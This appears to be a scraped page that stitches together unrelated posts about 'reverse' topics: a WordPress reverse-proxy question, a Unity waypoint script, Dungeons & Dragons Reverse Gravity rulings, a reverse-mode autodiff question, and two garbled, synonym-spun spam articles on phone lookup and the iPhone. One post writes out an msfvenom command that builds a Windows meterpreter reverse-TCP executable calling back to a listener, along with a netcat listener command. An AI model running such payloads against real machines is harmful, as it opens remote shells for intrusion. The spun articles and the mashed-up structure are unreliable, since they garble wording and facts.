WP_List_Table $current_url points to my actual host rather than the reverse proxy host

I am a novice on the wordpress framework and I am currently using wordpress behind a reverse proxy. Like follows.

Reverse Proxy Domain = https://example.com
My actual Domain = https://example-herokuapp.com

Issue :

  • In wp-admin dashboard when i try to filter posts like orderby date or comments etc in the admin panel. I get a 404 page.
  • Thats because the links are pointing to my actual host ie https://example-herokuapp.com rather than my reverse proxy which is https://example.com

Reason :

  • This seems to be because of the $ current_url attribute wp_list_table which is called from wp-admin/edit.php

  • The current url is defined as follows

    $  current_url = set_url_scheme( 'http://' . $  _SERVER['HTTP_HOST'] . $  _SERVER['REQUEST_URI'] );
  • I came across a very old bug/issue from wordpress https://core.trac.wordpress.org/ticket/16858 , which seems to address this very same problem.

  • It essentially uses a self_admin_url to overcome this issue.

  • The above mentioned patch (https://core.trac.wordpress.org/attachment/ticket/16858/16858.patch) is not available on 5.5.3 (LTS).However the self_admin_url method is available under wp-admin/includes.

Question :

  • How do i change this $ current_url to use self_admin_url().? Should i override $ _Server[‘HTTP_HOST’] in wp-config ? or what is the best practise to change things like this .

  • Or is there a better way to ensure my admin links point to my proxy host rather than my actual host ?

Thanks in advance.

How can I change the object to move on the waypoints to move also in reverse?

Now it’s moving from the first position the last position and then in the end it’s moving to the first position and then moving forward on all positions again and so on.

I want to use a flag bool variable that if it’s true when the object to move on the waypoints will get to the last position it will then travel backward reverse on the positions and when it will get to the first one it will start moving forward again and so on like a ping pong. and if the bool flag is false it will be like now.

I’m not sure how to handle the line :

index = (index + 1) % pos.Length; 

Not sure what the percentage % does in this line.

using System.Collections; using System.Collections.Generic; using UnityEngine;  public class MoveOnCurvedLine : MonoBehaviour {     public LineRenderer lineRenderer;     public GameObject objectToMove;     public float speed;     public bool go = false;     public bool moveToFirstPositionOnStart = false;      private Vector3[] positions;     private Vector3[] pos;     private int index = 0;      // Start is called before the first frame update     void Start()     {         pos = GetLinePointsInWorldSpace();          if (moveToFirstPositionOnStart == true)         {             objectToMove.transform.position = pos[index];         }     }      Vector3[] GetLinePointsInWorldSpace()     {         positions = new Vector3[lineRenderer.positionCount];         //Get the positions which are shown in the inspector          lineRenderer.GetPositions(positions);           //the points returned are in world space         return positions;     }      // Update is called once per frame     void Update()     {         if (go == true)         {             Move();         }     }      void Move()     {         Vector3 newPos = objectToMove.transform.position;         float distanceToTravel = speed * Time.deltaTime;          bool stillTraveling = true;         while (stillTraveling)         {             Vector3 oldPos = newPos;             newPos = Vector3.MoveTowards(oldPos, pos[index], distanceToTravel);             distanceToTravel -= Vector3.Distance(newPos, oldPos);              if (newPos == pos[index]) // Vector3 comparison is approximate so this is ok             {                 index = (index + 1) % pos.Length;             }             else             {                 stillTraveling = false;             }         }          objectToMove.transform.position = newPos;     }    } 

I tried to do it this way :

using System; using System.Collections; using System.Collections.Generic; using UnityEngine;  public class MoveOnCurvedLine : MonoBehaviour {     public LineRenderer lineRenderer;     public GameObject objectToMove;     public float speed;     public bool go = false;     public bool moveToFirstPositionOnStart = false;      private Vector3[] positions;     private Vector3[] pos;     private int index = 0;     private bool isreverse = false;      // Start is called before the first frame update     void Start()     {         pos = GetLinePointsInWorldSpace();          if (moveToFirstPositionOnStart == true)         {             objectToMove.transform.position = pos[index];         }     }      Vector3[] GetLinePointsInWorldSpace()     {         positions = new Vector3[lineRenderer.positionCount];         //Get the positions which are shown in the inspector          lineRenderer.GetPositions(positions);           //the points returned are in world space         return positions;     }      // Update is called once per frame     void Update()     {         if (go == true)         {             Move();         }          if (index == pos.Length - 1)         {             System.Array.Reverse(pos);             isreverse = true;         }     }      void Move()     {         Vector3 newPos = objectToMove.transform.position;         float distanceToTravel = speed * Time.deltaTime;          bool stillTraveling = true;         while (stillTraveling)         {             Vector3 oldPos = newPos;             newPos = Vector3.MoveTowards(oldPos, pos[index], distanceToTravel);             distanceToTravel -= Vector3.Distance(newPos, oldPos);              if (isreverse)             {                 if (newPos == pos[index]) // Vector3 comparison is approximate so this is ok                 {                     index = (index - 1);// % pos.Length;                 }                 else                 {                     stillTraveling = false;                 }             }             else             {                 if (newPos == pos[index]) // Vector3 comparison is approximate so this is ok                 {                     index = (index + 1) % pos.Length;                 }                 else                 {                     stillTraveling = false;                 }             }         }          objectToMove.transform.position = newPos;     } } 

And it’s moving in reverse when it’s getting to the last position but there is a problem :

The first time it was moving in reverse fine but then when running the game over and over again it’s not moving in reverse and behaving like before. Not sure why. Why is that ?

Free Reverse Phone Lookup – Is it Worth Your Time and Effort?

There are numerous administrations that guarantee to give a free converse telephone query; do they satisfy the hopes? There’s a tremendous measure of publicizing going on these days for administrations giving a free admittance to the opposite telephone information base, is it worth your time utilizing them? This article investigates the free  consumer phonelist administrations in subtleties and distinguishes its trap and their covered up upsell by which they bring in their cash. 
 
Above all else, what is a free opposite telephone query and what data do they uncover? Administrations, for example, White Pages intensely publicize their free telephone invert search, would they say they are truly exact as they guarantee? Truly and no. Truly, the contact data they give on entering a telephone number is right on the off chance that they have that specific telephone number in their information base and as a rule the telephone number may have enrolled well before. Shouldn’t something be said about numerous unlisted telephone numbers? Indeed, they don’t uncover it. Their data set doesn’t have that data. Additionally after getting to contact data you are given a choice to do a foundation search on the personality uncovered and think about what it accompanies a strong sticker price. In this way the data gave by the free assistance is restricted to numerous quantities of things – little information base, inadequate individual character (only some old location won’t help you), and with an upsell that accompanies a heavy sticker price.
 
It’s smarter to explore and go for an approved outsider help that offers a paid assistance for simply the half of the cost of what these free administrations attempts to upsell you. So settle on a shrewd choice.

Phone Reverse Lookup – Great Tips on How to Reverse Lookup Phone Numbers and Track Do

In this universe of science and innovation, the men of science invest their energy in research facilities looking for something new. We additionally witness their push to manage natural products. Presently this time, it is an iPhone from the place of Apple that has been pulling in all the considerations worldwide in the course of recent months. 
  Buy Mobile Database 
The device irregularities of US can purchase this iPhone right now. Yet, the individuals of Asian nations like India need to hold up to mid 2008 to lay their hands on such an enchantment development. The telephone has joined screen and consolidates the highlights of a cell phone, ipod, advanced coordinator and remote web gadgets. It is a progressive telephone. It does things that no telephone has ever done previously yet it has likewise been said that it needs includes found even on the most essential telephones. So it has welcomed both praise just as analysis. 
 
iPhone is a small, thin, exquisite hand-held PC whose screen is a piece of touch touchy glass. The $500 and $600 models have 4 and 8 GB stockpiling and can store 825 and 1825 tunes individually. The iphone is assemblage of cellphone, video ipod, email terminal, internet browser, camera, morning timer, palm type coordinator and one hell of superficial point of interest. The telephone is so smooth and slender that makes Treos and Blackberrys look large. At the point when the glass of the telephone get smudgy, a sleeve cleans it off yet it doesn’t scratch without any problem. However, the greatest accomplishment in this telephone is the product accessible. It is quick, excellent, menu free and extremely easy to work. The main physical catch underneath the screen consistently opens the landing page showing the symbols for the iphone’s 16 capacities. Records look with a flick of finger; CD fronts flip over as it is flicked. The clients don’t need to check the phone message yet it itself checks the client. The just one catch press uncovers the holding up messages, recorded like email. There is no dialing in, no secret word. To answer a call, the client can tap answer on the screen, or squeeze the minuscule amplifier. iPhone has a speaker telephone and vibration mode however both are powerless. The music or video playback delays until you hang up. In any case, while making a call, be that as it may, the clients need to follow a protracted procedure containing 6 stages: wake the telephone, open its catches, gather the home screen, open the telephone program, see the ongoing calls or speed dial list and select a name. The call quality is simply normal yet email is fabulous. Approaching messages are completely designed, total with illustrations. The clients even can open Word, Excel and PDF reports however can’t alter. The internet browser is extremely commendable. It has different open pages, textual styles, designs, spring up menus, check boxes, interactive connections and dial-capable telephone number. Everything is finished with the tap of a finger.

Is it possible to lift things multiple times with different castings of reverse gravity?

My players came up with an interesting idea using reverse gravity recently which at the time I let them do because it made sense and I like to keep things flowing but wondered about the actual mechanics of it.

Reverse Gravity lifts everything centered on a point in a 50ft circle 100ft up. 2 of the players in the party had taken it, in player ones turn he cast it at ground level to lift a group of enemies the full 100 feet, the 2nd player then cast the spell a second time centering at the top of the previous spell and lifting the enemies another 100 feet. In player ones turn he stopped his version of the spell meaning player 2 could then drop them 200 feet. As there was nothing to grab hold of on the second casting there was no saving throw

At the time I was unsure if the initial casting of the spell would lock them in at 100 feet but decided to go with it. My players have also asked me if one of them could cast it repeatedly turn after turn. Effectively cancelling it as they cast it a second time lifting people multiples of 100 feet into the air before then dropping them.

Is this a DM decide situation, which I am fine with, or are there any rules stated anywhere for this situation?

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe 

In addition I am running a listener with Metasploit’s "multi/handler" or alternatively, a netcat listener:

nc -lvp 4443 

However, after executing the payload on the target machine, I cannot get a working shell. Neither on Meterpreter nor Netcat.

Meterpreter

Meterpreter does not respond to any command, or backgrounding. I cannot get the normal Meterpreter Shell.

Netcat Listener

There is also no shell appearing on Netcat.

Any help or suggestions are very appreciated!

Reverse Gravity: dropping concentration mid fall

When you cast the spell Reverse Gravity, creatures start falling upwards into the air. Assuming that there is nothing in their way the spell must somehow halt their momentum when they reach the top of it, as the spell says "If an object or creature reaches the top of the area without striking anything, it remains there, oscillating slightly, for the duration." If it didn’t halt their momentum somehow, they would fall up into normal gravity for another 100 feet or so, and then almost all the way back to the ground (with real world physics anyway; air resistance would be the only thing that slowed them down, and that would only remove about 5 feet worth of momentum per 100ft fall- I did the math).

Because of this I’m assuming that the spell stops momentum when the creatures hit the top of the spell area somehow.

But what happens if you drop concentration on the spell while they are falling upwards? The condition "If an object or creature reaches the top of the area without striking anything" no longer applies, as the spell isn’t in effect anymore. Physics tells us that the creature falling upwards 100 feet in a reversed gravity field would then have enough momentum to ‘fly’ another 100 feet upwards beyond that until slowing to a stop and falling back down (discounting air resistance). So lets say you dropped concentration just before they reached the top of the spell area; would they then fly up to a height of 200ft off the ground before then falling to the ground for 20d6 damage?

I know you can drop concentration as a free action anytime, but this spell doesn’t seem to indicate how it works exactly regarding the momentum gathered while falling upwards. I’m wondering if the above interpretation is reasonable.

Numerically stable reverse automatic differentiation of power(x, y)?

I would like to compute the adjoints $ \bar x$ and $ \bar y$ , from a reverse automatic differentiation perspective, of the expression $ x^y$ . The adjoint $ \bar{x^y}$ is already known; and we can assume $ x \geq 0$ and $ y \geq 1$ .

The "easy" solution consists of rewriting the expression $ x^y=e^{y \ln x}$ , and proceed piece-wise from there. However, this solution proves to be unstable numerically, it gives:

$ $ \bar y = \bar{x^y} x^y \ln x$ $

and

$ $ \bar x = \bar{x^y} x^{y-1} y$ $

Is there any way to rewrite and/or approximate those expressions with something that is not going to numerically diverge when $ x \approx 0$ ?